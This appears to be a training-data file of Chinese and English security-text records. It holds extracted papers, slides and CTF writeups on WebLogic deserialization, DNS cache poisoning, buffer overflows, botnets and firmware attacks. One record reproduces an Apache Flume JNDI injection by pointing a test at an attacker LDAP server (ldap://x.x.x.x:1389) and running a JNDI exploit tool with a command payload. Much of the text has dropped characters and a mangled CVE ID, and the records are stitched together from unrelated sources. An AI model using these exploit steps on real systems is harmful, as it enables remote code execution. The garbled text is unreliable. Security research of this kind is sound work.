CVE-OLOO-ONPSL 反序列化利链JNDI注 10.3.6.0.0 12.1.3.0.0 12.2.1.3.0 12.2.1.4.0 测试版本12.2.1.4.0 之前有师傅的章已经分析过了给出调堆栈 漏洞介绍 漏洞评级 影响范围 安全版本 漏洞分析 12.2.1.4.0 2 从这调链能看出他基本都是JDK或weblogic个包的没有像2555/2883那样还需要依赖 coherence能提不同版本的利兼容性 前测试下来12.1.3/12.2.1.3/12.2.1.4个包就能打 这记录下的调试记录吧便后续查阅 点还是之前的 javax.management.BadAttributeValueExpException.readObject 从val变量取出对象这变量是 FileSessionData 对象然后调他的 toString() Java 复制代码 javax.management.BadAttributeValueExpException.readObject() weblogic.servlet.internal.session.SessionData.toString() weblogic.servlet.internal.session.SessionData.isDebuggingSession() weblogic.servlet.internal.session.SessionData.getAttribute() weblogic.servlet.internal.session.SessionData.getAttributeInternal() weblogic.servlet.internal.session.AttributeWrapperUtils.unwrapObject() weblogic.servlet.internal.session.AttributeWrapperUtils.unwrapEJBObjects () weblogic.ejb.container.internal.BusinessHandleImpl.getBusinessObject() weblogic.ejb20.internal.HomeHandleImpl.getEJBHome() javax.naming.Context.lookup() 1 2 3 4 5 6 7 8 9 10 3 FileSessionData 是继承 SessionData 这的toString没被重写所以调的是类的进 调 this.isDebuggingSession() registry.isProductionMode() 没法在本地反序列化测试因为涉及到些变量需要 weblogic运时初始化所以这没法本地调试 接着会调 this.getAttribute 获取 wl_debug_session 4 这 getSecurityModuleAttribute 返回是null因为他是 name=\"weblogic.formauth.tar geturl\" 才有值所以调 this.getAttributeInternal this.attributes 是个Map实现类是ConcurrentHashMap获取 wl_debug_session 的 value这是 AttributeWrapper 对象 接着调 AttributeWrapperUtils.unwrapObject 解封装 5 AttributeWrapper 对象封装的是 BusinessHandlerImpl 类解封装后还需要判断 wrappe r.isEJBObjectWrapped() 是否为true才能继续调 unwrapEJBObjects 所以需要动 setEJBObjectWrapped(true) 6 unwrapEJBObjects 有四个分如果是BusinessHandle的实现类才能调 getBusinessO bject() PS: 这个部分其实BusinessHandleHomeHandle和Handle三个都能触发任选其 this.homeHandle 是 HomeHandleImpl 类然后调 getEJBHome() 7 最终到了sink点 ctx.lookup 这有两个变量要设置this.serverURL和this.jndiName就是 JNDI请求那套 这个版本有些不同 在 SessionData.getAttributeInternal 原本是先调 AttributeWrapperUtils.unw rapObject ,然后才是判断unwrappedObject属于哪个接进转换 10.3.6跳过中间步骤直接判断 10", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n! 1! WRITING!YOUR!FIRST!EXPLOIT! LECTURE!NOTES! ! Robert!Olson! Lecturer! Dept.!of!Computing!&!Info!Sciences! SUNY!at!Fredonia! olsonr@fredonia.edu! @nerdprof! https://github.com/nerdprof/Writing-Your-First-Exploit! ! ! ! ! ! 1. Laboratory!Setup! a. Virtual)Machines) i. Windows!VM! ! ! ! ! A!Windows!virtual!machine!can!be!downloaded!from!the!! ! ! ! following!link:! ! ! ! https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/! ! ! ! ! ! ! ! ! Note:!Some!students!reported!problems!when!using!a!! ! ! ! Windows!10!virtual!machine!during!the!Circle!City!Con!2016!! ! ! ! workshop.! ! ii. Kali!VM! ! ! ! ! Kali!Linux!!or!a!Kali!Linux!virtual!machine!-!can!be!! ! ! ! ! downloaded!from:! ! ! ! https://www.kali.org/downloads/! ! b. Software)Installs) i. Downloading!VulnServer!on!Windows!VM! ! ! ! ! VulnServer!can!be!downloaded!at:! ! ! ! http://www.thegreycorner.com/2010/12/introducing-vulnserver.html! ! ii. Downloading!Immunity!on!Windows!VM! ! ! ! ! Immunity!Debugger!can!be!downloaded!at:! ! ! ! http://debugger.immunityinc.com/ID_register.py! ! ! 2! iii. Downloading!mona.py!on!WindowsVM! ! ! ! ! The!mona.py!script!can!be!downloaded!from:! ! ! ! https://github.com/corelan/mona/blob/master/mona.py! ! ! ! ! Once!downloaded,!it!should!be!placed!at:! ! ! ! ! C:\\Program!Files\\Immunity!Inc\\Immunity!Debugger\\PyCommands! ! iv. Downloading!arwin.exe!on!Windows!Vm! ! ! ! ! The!arwin!application!can!be!downloaded!from:! ! ! ! http://www.fuzzysecurity.com/tutorials/expDev/tools/arwin.rar! ! 2. Buffer!Overflows!in!C! a. Simple)C)Programming) i. Printf! ! ! ! ! ! printf()!is!a!function!that!prints!data!to!the!screen,!often!using!! ! ! ! substitution!symbols.! ! ! ! ! printf(Hello);)would!print!Hello!to!the!screen!while!the!lines:! ! ! ! ! char)name[5])=)Rob;) ) ) ) printf(Hello)%s,)name);) ) ! ! ! would!cause!Hello)Rob!to!be!printed!to!the!screen.! ! ! ! ! ii. Strcpy! ! ! ! ! strcpy()!is!a!function!that!copies!one!character!array!into!! ! ! ! another.!!This!function!does!not!chec", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nSentient Storage: Do SSDs have a mind of their own? Tom Kopchak :: @tomkopchak About me Why we're here Current forensic practices for working with hard drives are well-defined Solid state drives behave differently and present new challenges This presentation will explore these differences in detail Forensics: Traditional Hard Drives What do we already know? Data deleted on a traditional hard drive is not truly deleted and can often be recovered quite easily What do we already know? Quick formatting a hard drive doesn't actually delete or purge data from the drive What do we already know? In order for data to be deleted from a traditional hard drive, it must be completely overwritten at least once What do we already know? Traditional hard drives do not manipulate or optimize incoming data What do we already know? Traditional hard drives do not change the physical location of a block of data independently of the operating system What do we already know? These behaviors are consistent across all traditional hard drives, regardless of manufacturer, capacity, or firmware revision Solid State Drives change all of this Let's talk about flash memory Flash memory is where data is stored on a solid state drive An SSD will be composed of a number of flash memory chips to reach its desired capacity The drive controller is the glue that holds all of this together Commonly referred to as the Flash Translation Layer (FTL) Drive Types Compared Physical Flash Architecture There are different types of flash memory - single level cell (SLC) and multi-level cell (MLC) SLC - one bit per cell: 0 or 1 MLC - two bits per cell: 00, 01, 10, or 11 A blank cell is represented in all 1s Physical Flash Architecture Pages are the smallest addressable unit in a flash memory cell Pages cannot be overwritten, due to the fact that erasing them might modify adjacent cells in a block Only entire blocks are erased at a time Erasing Flash Blocks When data is deleted, the blocks containing this d", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nWHEN THE SECRETARY OF STATE SAYS: PLEASE STOP HACKING US David An Former U.S. Diplomat Bureau of Political-Military Affairs U.S. State Department Figures: Left, historical photo of 1973 Paris Peace Accords to restore peace following the Vietnam (American) War. Right, Reuters, May 2015, Iran negotiates with the five members of UN Security Council plus Germany. David T. An 2 Real-Time Cyber Attack Map David T. An 3 Figure: Live attack map sample from September 8, 2014. Norse Corporation. See the current live cyber attack map on your smart phone or computer: http://map.norsecorp.com/ DDoS shuts down Facebook David T. An 4 Figure: On June 19, 2014, a massive distributed denial of service (DDoS) attack appears to originate from China and shut down Facebook that afternoon for half an hour. Youtube. United Nations General Assembly David T. An 5 U.S.-China Strategic and Economic Dialogue David T. An 6 Australia-U.S. Ministerial Meeting David T. An 7 Cyber diplomacy Key points: Insight on senior bilateral dialogues Attribution problem Disclosure dilemma Recommendations for white hat hackers, private companies, and the U.S. government David T. An 8 Cyber weapons and cyber espionage Politics Economics Military David T. An 9 Types of dialogues Senior level discussions Subject matter expert talks Intelligence-policy hybrid talks David T. An 10 Cyber as topic in diplomacy How does cyber security become a topic? News Intelligence sources White House, Pentagon, State leads Stakeholder office edits and clears Desk officer Precedence David T. An 11 Roadblocks in senior dialogues Attribution problem Disclosure dilemma David T. An 12 Figure: U.S. hit by 5840 attacks within a 45 minute span around June 2014. The 5 Ws plus how Political science and area studies Technical skills David T. An 13 State versus non-state actors State actor targets state actor: Allegedly Stuxnet State targets non-state actor: Sony hack due to The Interview movie Non-state actor targets state actor: Non-state ac", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nhdparm === 显示与设定硬盘的参数 ## 补充说明 **hdparm命令** 提供了一个命令行的接口用于读取和设置IDE或SCSI硬盘参数 ### 语法 ```shell hdparm(选项)(参数) ``` ### 选项 ```shell -a<快取分区>设定读取文件时预先存入块区的分区数若不加上<快取分区>选项则显示目前的设定 -A<0或1>启动或关闭读取文件时的快取功能 -c设定IDE32位I/O模式 -C检测IDE硬盘的电源管理模式 -d<0或1>设定磁盘的DMA模式 -f将内存缓冲区的数据写入硬盘并清除缓冲区 -g显示硬盘的磁轨磁头磁区等参数 -h显示帮助 -i显示硬盘的硬件规格信息这些信息是在开机时由硬盘本身所提供 -I直接读取硬盘所提供的硬件规格信息 -k<0或1>重设硬盘时保留-dmu参数的设定 -K<0或1>重设硬盘时保留-APSWXZ参数的设定 -m<磁区数>设定硬盘多重分区存取的分区数 -n<0或1>忽略硬盘写入时所发生的错误 -p设定硬盘的PIO模式 -P<磁区数>设定硬盘内部快取的分区数 -q:在执行后续的参数时不在屏幕上显示任何信息 -r<0或1>:设定硬盘的读写模式 -S<时间>:设定硬盘进入省电模式前的等待时间 -t;评估硬盘的读取效率 -T平谷硬盘快取的读取效率 -u<0或1>在硬盘存取时允许其他中断要求同时执行 -v显示硬盘的相关设定 -w<0或1>设定硬盘的写入快取 -X<传输模式>设定硬盘的传输模式 -y使IDE硬盘进入省电模式 -Y使IDE硬盘进入睡眠模式 -Z关闭某些Seagate硬盘的自动省电功能 ``` ### 参数 设备文件指定id驱动对应的设备文件名 ### 实例 显示硬盘的相关设置 ```shell hdparm /dev/sda /dev/sda: IO_support = 0 (default 16-bit) readonly = 0 (off) readahead = 256 (on) geometry = 19457柱面数/255磁头数/63扇区数, sectors = 312581808总扇区数, start = 0起始扇区数 ```shell 显示硬盘的柱面磁头扇区数 ```shell hdparm -g /dev/sda /dev/sda: geometry = 19457柱面数/255磁头数/63扇区数, sectors = 312581808总扇区数, start = 0起始扇区数 ``` 测试硬盘的读取速度 ```shell hdparm -T /dev/sda /dev/sda: Timing cached reads: 4684 MB in 2.00 seconds = 2342.92 MB/sec ``` 测试硬盘缓存的读取速度 ```shell hdparm -T /dev/xvda /dev/xvda: Timing cached reads: 11154 MB in 1.98 seconds = 5633.44 MB/sec ``` 检测硬盘的电源管理模式 ```shell hdparm -C /dev/sda /dev/sda: drive state is: standby [省电模式] ``` 查询并设置硬盘多重扇区存取的扇区数以增进硬盘的存取效率 ```shell hdparm -m /dev/sda hdparm -m #参数值为整数值如8 /dev/sda ``` **附硬盘坏道修复方法** ```shell 检查smartctl -l selftest /dev/sda 卸载umount /dev/sda* 修复badblocks /dev/sda ```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAre$we$creating$incidents? August$26,$2015$ 在 臺北$ Shin$Adachi,$CISSP,$CISM,$CISA,$PMP Shin$Adachi,$CISSP,$CISM,$CISA,$PMP 0 Disclaimer The$presentation$itself,$and$the$views$and$ opinions$expressed$by$the$presenter$therein$do$ NOT$reflect$those$of$any$of$my$affiliations$at$all.$ NONE$of$such$affiliations$above$thereof$assumes$ any$legal$liability$or$responsibility$for$the$ presentation.$ Shin$Adachi,$CISSP,$CISM,$CISA,$PMP 1 Cuckoos$Egg Shin$Adachi,$CISSP,$CISM,$CISA,$PMP 2 Source:$ http://www.amazon.com/CuckoosREggRTrackingRComputerREspionage/dp/1416507787$ Cuckoos$Egg ....eventually$realized$that$the$unauthorized$user$ was$a$hacker$who$had$acquired$root$access$to$the$ LBL$system$by$exploiting$a$vulnerability$in$the$ movemail$function$of$the$original$GNU$Emacs.$ Shin$Adachi,$CISSP,$CISM,$CISA,$PMP 3 Authentication+Breach Source:$Wikipedia:$http://en.wikipedia.org/wiki/The_Cuckoo%27s_Egg$ Privilege+Escalation Vulnerability+Exploited! Cuckoos$Egg Published$in$1989$ Story$on$August$1986$ Shin$Adachi,$CISSP,$CISM,$CISA,$PMP 4 Source:$Wikipedia:$http://en.wikipedia.org/wiki/The_Cuckoo%27s_Egg$ QUESTION$ Shin$Adachi,$CISSP,$CISM,$CISA,$PMP 5 Why$do$we$STILL$have$the$same$ problems$after$almost$30$years? Inventory$and$Lifecycle$management Source:$$Nekojin$(ねこじん様)$ Shin$Adachi,$CISSP,$CISM,$CISA,$PMP 6 Do$we$know$ALL$we$have$up$to$date,$or$$ are$legacies,$zombies,$or$ghosts$still$alive?$ Inventory$and$Lifecycle$management Source:$NetMarketShare,$July$2015:$$ http://www.netmarketshare.com/operatingRsystemRmarketRshare.aspx?qprid=10&qpcustomd=0 Shin$Adachi,$CISSP,$CISM,$CISA,$PMP 7 Are$legacies,$zombies,$or$ghosts$still$alive?$ Source:$Microsoft:$$ https://www.microsoft.com/enRus/serverRcloud/products/windowsRserverR2003/ Inventory$and$Lifecycle$management Shin$Adachi,$CISSP,$CISM,$CISA,$PMP 8 Are$legacies,$zombies,$or$ghosts$still$alive?$ Source:$Microsoft:$$ https://technet.microsoft.com/enRus/library/security/ms15R078.aspx Inventory$and$Lifecycle$management Shin$Adachi,$CI", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 DNSPD: Entrap Botnets Through DNS Cache Poisoning Detection p1t1r HITCON 2010 2 自介 Hi, this is p1t1r 資安背景 Rootkit Web Network DNS spoofing 3 DNS攻擊 DNS Cache Poisoning攻擊 很危險的東西迄今尚未被解決 你上的任何網站都有可能是攻擊者的網站 防禦機制 一大堆 不過預設的DNS環境是未受保護的 4 DNSPD 防禦順便抓 Botnet Botnet 正夯 !!! 問題 這個防禦機制夠穩當嗎? 要看攻擊者的人品 其他機制也可以抓要你何用? 好像可以快一點準一點 應該還有不少問題... . !! 5 DNS 簡介 功用 將domain name 對應至 IP Address(es) www.google.com <-> 74.125.153.103, , etc. 特點 大多採用UDP連線 快 先到的答案就是正確的答案 (?) 6 DNS 結構 Domain Name Space Name Server 儲存/管理 特定的domain name Resolver (cache server) 暫存之前查詢過的資料(domain name & IPs)方便快速回應 保存資料直到 TTL 過期 攻擊者的主要目標!!! 7 DNS 運行方式 8 DNS Resolver 面對的威脅 UDP封包可以偽造來源IP 難以認證資料的可信度 Resolver 如何驗證資料正確性? 答案必須對應之前提出的問題 來源IP 要符合 Port Number 要符合 Transaction ID 要符合 9 DNS Cache Poisoning 攻擊 攻擊目標 1. 先選 DNS Cache主機 (Resolver) Google Public DNS - 8.8.8.8 2. 再選 特定domain 例如: 將 blog.hitcon.org 的IP改成 攻擊者的IP 攻擊發起時機 目標domain的資料不存在Resolver的cache中 Resolver向外部name server發出詢問而且尚 未收到答案前 10 傳統 DNS Cache Poisoning 攻擊 www.google.com ? 相信我. 你要的答案是 115.115.115.115 實際上 www.google.com: 64.233.183.99 64.233.183.103 64.233.183.104 64.233.183.105 ............... Attack end Attack begin 11 傳統攻擊之缺點 每次失敗都要等! 等! 等! 等 TTL過期 若是TTL很長 三秒捕魚兩天曬網 12 Dan Kaminsky Black Hat USA 2008 DNS Cache Poisoning Attack 不用再為TTL煩惱了 ! 隨時可以發起攻擊 想打多久也隨便你 適用BIND9任何版本 不過難度不同 v9.4.2之後增加了random port 13 Kaminsky 效應 : DNSSEC熱銷 From: Deploying and Monitoring DNS Security (DNSSEC) 14 Kaminskys Poisoning Attack ..... 1 Time interval 2 3 Malicious 4 Client Resolver Authoritative name server 我是 www.google.com 我來自115.115.115.115 你要找的答案 並不存在 請相信我喔~ 我是ns1.google.com 來自216.239.32.10 你要找的答案 並不存在 千萬別問 www.google.com 改問 123.google.com? 1234.google.com? 99999.google.com? 15 Kaminsky攻擊封包 16 數學公式 攻擊成功機率 RFC 5452 Poisoning 成功機率 打了很多回合至少成功一次的機率 帶入參數 W T A S I P N R W P / CS * * * 1 1 1 1 P *P *I N W *R PS T W R / CS *64000*65536 5.2 * 1.0 1 1 P 17 攻擊模擬 0 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1 0 5", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Where no man has GOne before! * Category: Reverse Engineering * 300 Points * Solved by the JCTF Team ## Description > In this simple challenge, you need to break the protection in order to extract the flag > > http://revengme.challenges.bsidestlv.com/revengme The link contained a binary file. ## Solution Let's start by running the binary: ```console root@kali:/media/sf_CTFs/bsidestlv/Where_no_man_has_GOne_before# ./revengme Enter your password:test Don't Worry, Relax, Chill and Try harder ``` We need to enter a password. Time to view the disassembly. Since this is a golang binary, we'll use the [golang_renamer.py](https://github.com/ghidraninja/ghidra_scripts) script to restores function names from the stripped Go binary. After the dust from running the script settles, we can take a look at the `main.main` implementation. It's long and complicated, but a single function call stands out: ```c if ((lVar9 == lVar7) && (runtime_memequal_4023F0 ((char)pplVar6,(char)puVar5,(char)local_118,uVar3,in_R8B,in_R9B,local_118,uVar8, lVar7,(char)uVar8), uVar2 = extraout_DL_05, (char)uVar8 != '\\0')) { local_f0 = 0x1e; main_ObfStr_488AF0(pplVar6,puVar5,extraout_DL_05,uVar3,in_R8B,in_R9B,&local_18c,0x1e,0x1e,uVar8, lVar9); runtime_convTstring_408B60 ((char)pplVar6,(char)puVar5,extraout_DL_06,(char)uVar8,in_R8B,in_R9B,uVar8,lVar9, local_f0); local_f8 = &DAT_0049a600; fmt_Fprintln_4822C0(pplVar6,(undefined *)puVar5,extraout_DL_07,0x60,in_R8B,in_R9B, &PTR_DAT_004d3a60,DAT_0055b7f0,&local_f8,1,1,lVar10,local_1d8, in_stack_fffffffffffffe30); return; } ``` A single `memequal` call in a program that requests a password? That's worth a breakpoint. ```console gdb-peda$ b *0x00488e99 Breakpoint 2 at 0x488e99 gdb-peda$ r Starting program: /media/sf_CTFs/bsidestlv/Where_no_man_has_GOne_before/revengme [New LWP 1766] [New LWP 1767] Enter your password:aaaaaaaaaa RAX: 0xc00001c0f0 (\"BSidesTLV{revenge is best served cold}\") RBX: 0x26 ('&') RCX: 0xa ('\\n') RDX: 0x26 ('&') RSI: 0xc00001c0c0 (\"BSide", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCollaborative Penetration Testing With Lair About Us Tom Steele Consultant at FishNet Security @_tomsteele Dan Kottmann Consultant at FishNet Security Security assessments Hobbyist coder @djkottmann The Problem Lair What is Lair Web application for managing and tracking the execution of network assessments Simplifies effort needed to execute a comprehensive, systematic pentest Open-source project sponsored by FishNet Security Imports , aggregates, and normalizes output from automated tools Why is it different? Updates pushed to distributed testers in near real-time (really real-time, no really) Reduces duplication of effort Workflow Status tracking Enhances information sharing Credentials/hashes found Manually identified vulnerabilities Successful exploitation False positives Screenshots Team Instant Messaging Technology Web application built on Node.js and Meteor Simplifies real-time synchronization of information across multiple, distributed clients Pub/sub concept No need to fight web sockets Python used for Drones MongoDb used for database backend Architecture Long Demo Now Download it https://bitbucket.org/fnsseca/lair", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDEFCON XXI How my Botnet Purchased Millions of Dollars in Cars & Defeated the Russian Hackers I want to tell you a story about... Hacking Cars Russian Hackers Screwing with the system I want to tell you a story about... Commercial Botnets Creating competitive advantages Not using technology as directed What you'll learn What makes a good Botnet / Webbot project? How Bots create competitive advantages for business (example) What I would do differently today (the example happened 6 years ago) What makes a good Bot project? The Bot... Can't recreate Google Must solve a problem Be viable for it's service life Doesn't show it's hand I have permission to tell this story. It's rare that I get to mention specific projects. I've been writing about bots since 1999 Medical diagnostics Privacy Fraud detection Private investigations Governments So the 1st thing I did, was write this.. PLAYING NICE WITH INTERNET ATTACK TECHNIQUES UK Nov 2012 US Dec 2012 The Problem to be Solved Dealerships that sell new cars make most of their money on used vehicles. Automobile dealers spend a lot of time & money acquiring (previously owned) inventory. A client found a website that had great cars for sale. Unfortunately, due a lot of competition (and bad web design) he wasn't able to buy the cars he wanted. The Opportunity Daily, a national franchise posted about 300 rental returns for dealerships to purchase. They could view the cars before the sale. No car could be purchased before 10AM PDT. The Opportunity MAKE Hudson MODEL 112 Coupe YEAR 1938 MILES 47,000 CONDITION Excellent PRICE $18,500 MAKE Hudson MODEL 112 Coupe YEAR 1938 MILES 47,000 CONDITION Excellent PRICE $18,500 Before 10:00am After 10:00am The Opportunity MAKE Hudson MODEL 112 Coupe YEAR 1938 MILES 47,000 CONDITION Excellent PRICE $18,500 MAKE Hudson MODEL 112 Coupe YEAR 1938 MILES 47,000 CONDITION Excellent PRICE $18,500 Before 10:00am After 10:00am Users had to continually refresh their browser to get", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nTCP/IP Fundamentals for Microsoft Windows Microsoft Corporation Published: May 21, 2006 Updated: Jan 9, 2012 Author: Joseph Davies Editor: Anne Taussig Abstract This online book is a structured, introductory approach to the basic concepts and principles of the Transmission Control Protocol/Internet Protocol (TCP/IP) protocol suite, how the most important protocols function, and their basic configuration in the Microsoft Windows Vista, Windows Server 2008, Windows XP, and Windows Server 2003 families of operating systems. This book is primarily a discussion of concepts and principles to lay a conceptual foundation for the TCP/IP protocol suite and provides an integrated discussion of both Internet Protocol version 4 (IPv4) and Internet Protocol version 6 (IPv6). The information contained in this document represents the current view of Microsoft Corporation on the issues discussed as of the date of publication. Because Microsoft must respond to changing market conditions, it should not be interpreted to be a commitment on the part of Microsoft, and Microsoft cannot guarantee the accuracy of any information presented after the date of publication. This content is for informational purposes only. MICROSOFT MAKES NO WARRANTIES, EXPRESS, IMPLIED OR STATUTORY, AS TO THE INFORMATION IN THIS DOCUMENT. Complying with all applicable copyright laws is the responsibility of the user. The terms of use of this document can be found at http://www.microsoft.com/info/cpyright.mspx. Microsoft may have patents, patent applications, trademarks, copyrights, or other intellectual property rights covering subject matter in this document. Except as expressly provided in any written license agreement from Microsoft, the furnishing of this document does not give you any license to these patents, trademarks, copyrights, or other intellectual property. Unless otherwise noted, the example companies, organizations, products, domain names, e-mail addresses, logos, people, places, and events depict", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCVE-2022-34916 JNDI命令执 执漏洞 H1 H2 项介绍 Flume 是种分布式可靠且可的服务于效收集聚合和移动量志数据它具 有基于流数据流的简单灵活的架构它具有可调整的可靠性机制以及许多故障转移和恢复机 制具有健壮性和容错性它使允许在线分析应程序的简单可扩展数据模型 H2 项地址 https://flume.apache.org/ H2 漏洞概述 当攻击者控制标 LDAP 服务器时如果配置使带有 JNDI LDAP 数据源 URI 的 JMS 源 Apache Flume 版本 1.4.0 到 1.10.0 很容易受到远程代码执 (RCE) 攻击通过将 JNDI 限 制为仅允许使 java 协议或不使协议来解决此问题[1] H2 影响版本 Apache Flume 1.4.0-1.10.0 H2 环境搭建 下载部署即可 https://archive.apache.org/dist/flume/1.10.0/ H2 漏洞复现 该漏洞需要使 JNDI具辅助复现可使 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 具 具链接 https://github.com/welk1n/JNDI-Injection-Exploit 命令如下所示 终端开启监听搭建 Flume 项以 jdk1.8 环境运 TestIntegrationActiveMQ 测试类即可 漏洞分析 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C \"open -a calculator\" H2 漏洞分析 查看 commit 能发现新增的校验为了拦截进 else 的 initialContext.lookup(destinationName)这就是这个漏洞的Sink点 查看该 if-else 判断 destinationLocator 等于 JMSDestinationLocator.CDI上溯检查类参数 TestJMSMessageConsumer#testCreateDurableSubscription 初始化了 JMSMessageConsumer 并传 destinationLocator JMSMessageConsumer(...... String destinationName, JMSDestinationLocator destinationLocator ...... destinationLocator 的定义如下所示为了进 JMSMessageConsumer 的 else 循环需要 修改该变量为 JNDI destinationName 由 DESTINATION_NAME 定义需要改为具开启的 ldap链接 JNDI_PREFIX 改为 ldap:// destinationLocator = JMSDestinationLocator.CDI; //改为 jndi 即可 destinationLocator = JMSDestinationLocator.JNDI; //private static final String DESTINATION_NAME = \"test\"; private static final String DESTINATION_NAME = \"x.x.x.x:1389/iq9wuv\"; //public static final String JNDI_PREFIX = \"dynamicQueues/\"; public static final String JNDI_PREFIX = \"ldap://\"; 该项需要使官提供的Test类作为 source点传参数Test类中只有 TestIntegrationActiveMQ 类存在 testQueueLocatedWithJndi CFG如下所示 按漏洞复现步骤进复现测试即可 H2 修复式 升级到更版本 参考链接 H2 参考链接 [1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34916 [2] https://issues.apache.org/jira/browse/FLUME-3428 [3] https://github.com/apache/flume/commit/7fe9af49c485756e1b618493a5bc00b70d7fb d2d [4] https://lists.apache.org/thread/qkmt4r2t9tbrxrdbjg1m2oczbvczd9zn", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nsol = [202, 242, 238, 32, 245, 238, 247, 229, 242, 32, 236, 237, 238, 227, 238, 32, 231, 237, 224, 242, 252, 44, 32, 242, 238, 236, 243, 32, 236, 224, 235, 238, 32, 241, 239, 224, 242, 252, 46, 0] s = open(\"emulator\", \"rb\").read() s = s[s.find(b\"\\xd0\\x82\\x00\"):] s = s.split(b\"\\x00\\x00\\x00\")[0].split(b\"\\x00\") charset = [] for ss in s: try: sss = ss.decode() except: sss = \"???\" charset.append(sss) def get(c): print(c) if c < 128: return chr(c) else: return charset[c-128] print(\"\".join(get(c) for c in sol))", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nStalking a City for Fun and Frivolity Pull pin, point toward privacy insurance claimant Brendan OConnor Malice Afterthought, Inc. http://www.maliceafterthought.com Everything leaks too much data. At every level, weve forgotten that privacy, not just security, should be a goal. It is no longer possible to blend in to the crowd. Certain assumptions, and many action movies, will have to be adjusted. Every scene where an action hero dives into a mall with 10K people and the Feds say dang, we lost him? Yeah, that wont work anymore. Fundamental changes are needed to fix this. So were probably doomed. But its going to be a fun time in the interim. And I mean both technical changes---more on this later---and cultural ones: it needs to *NOT* be OK to request too much data, let alone to store it or transmit it. And I say this as someone who has worked on software that millions of people use EVERY DAY: we *cannot* leak private data, or we have lost the only thing we do better than our adversaries, and the only reason anyone should trust developers. Foreword: Democratizing Surveillance http://www.flickr.com/photos/68979377@N00/3745750194 I. Foreword: The Democratization of Surveillance A. \"Security is really the government's area.\" 1. This was actually said to me by my sister recently, indicating that I'm failing in my duty to educate my family. 2. Those of us in this room know that the government isn't very good at securing things by means *other* than throwing them in prison for large amounts of time. 3. Nonetheless, the government has a near-monopoly on surveillance. Only the Good Guys http://www.flickr.com/photos/chberge/3753079527 4. When it doesn't, the perception of the general public is that \"only good guys\" have access to terrifying surveillance technology. This is *our fault* for not correcting this misperception, though groups reporting on, e.g., all the BlueCoat boxes they've found in repressive governments are certainly helping. Heck, PRISM was leaked, and this is *st", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n@EyalItkin Mystery Callback No size check: Classic Buffer Overflow 0x000022B6 0x000022B6 Compromised Camera Firmware Update Compromised Camera Firmware Update Compromised Camera Firmware Update Plain Firmware Compromised Camera Firmware Update Plain Firmware Malicious Firmware Compromised Camera Firmware Update Plain Firmware Malicious Firmware Compromised Camera Firmware Update Plain Firmware Malicious Update Malicious Firmware Target Camera Malicious Update Compromised Camera Firmware Update Plain Firmware Malicious Update Malicious Firmware Target Camera Malicious Update No User interaction Needed! Compromised Camera Firmware Update Plain Firmware Malicious Update Malicious Firmware Malicious Update Compromised Camera! No User interaction Needed! Compromised Camera Firmware Update Plain Firmware Malicious Update Malicious Firmware Compromised Camera Firmware Update Plain Firmware Malicious Update Malicious Firmware Target Camera Malicious Update Compromised Camera! No User interaction Needed! eyalit@checkpoint.com @EyalItkin", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nFuzzing Linux with Xen DEF CON 29 Tamas K Lengyel 2 dont microwave your pets Performance varies by use, configuration and other factors. Learn more at www.Intel.com/PerformanceIndex. Performance results are based on testing as of dates shown in configurations and may not reflect all publicly available updates. See backup for configuration details. No product or component can be absolutely secure. No license (express or implied, by estoppel or otherwise) to any intellectual property rights is granted by this document. Intel does not control or audit third-party data. You should consult other sources to evaluate accuracy. Intel disclaims all express and implied warranties, including without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement, as well as any warranty arising from course of performance, course of dealing, or usage in trade. Your costs and results may vary. Intel technologies may require enabled hardware, software or service activation. Intel Corporation. Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries. Other names and brands may be claimed as the property of others. # whoami 4 tl;dr We fuzzed the device-facing input points of several Linux drivers We built new tools to get it done We open-sourced them We found a bunch of bugs & fixed them Showing you how it was done 5 feedback fuzzers Not just about feeding random input to your target Feedback fuzzers monitor the target execution Collect execution log (aka. coverage) Compare execution from run-to-run New code discovered? Focus on that input! 6 feedback fuzzers Need determinism If your target code behaves differently between executions not due to the fuzzer, the feedback will be just noise 7 xen vm forking Add determinism to kernel-code execution Reset vCPU registers and free copied pages for better speed Parent VM Page X Page Y Page Z Fork VM Shared Page X Copied Page Y Shared Page Z R W ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 信息 `记录收集 Linux 系统软硬件信息的命令` --- ## 大纲 * **[软件](#软件)** * [版本信息](#版本信息) * [环境变量](#环境变量) * [开机启动](#开机启动) * 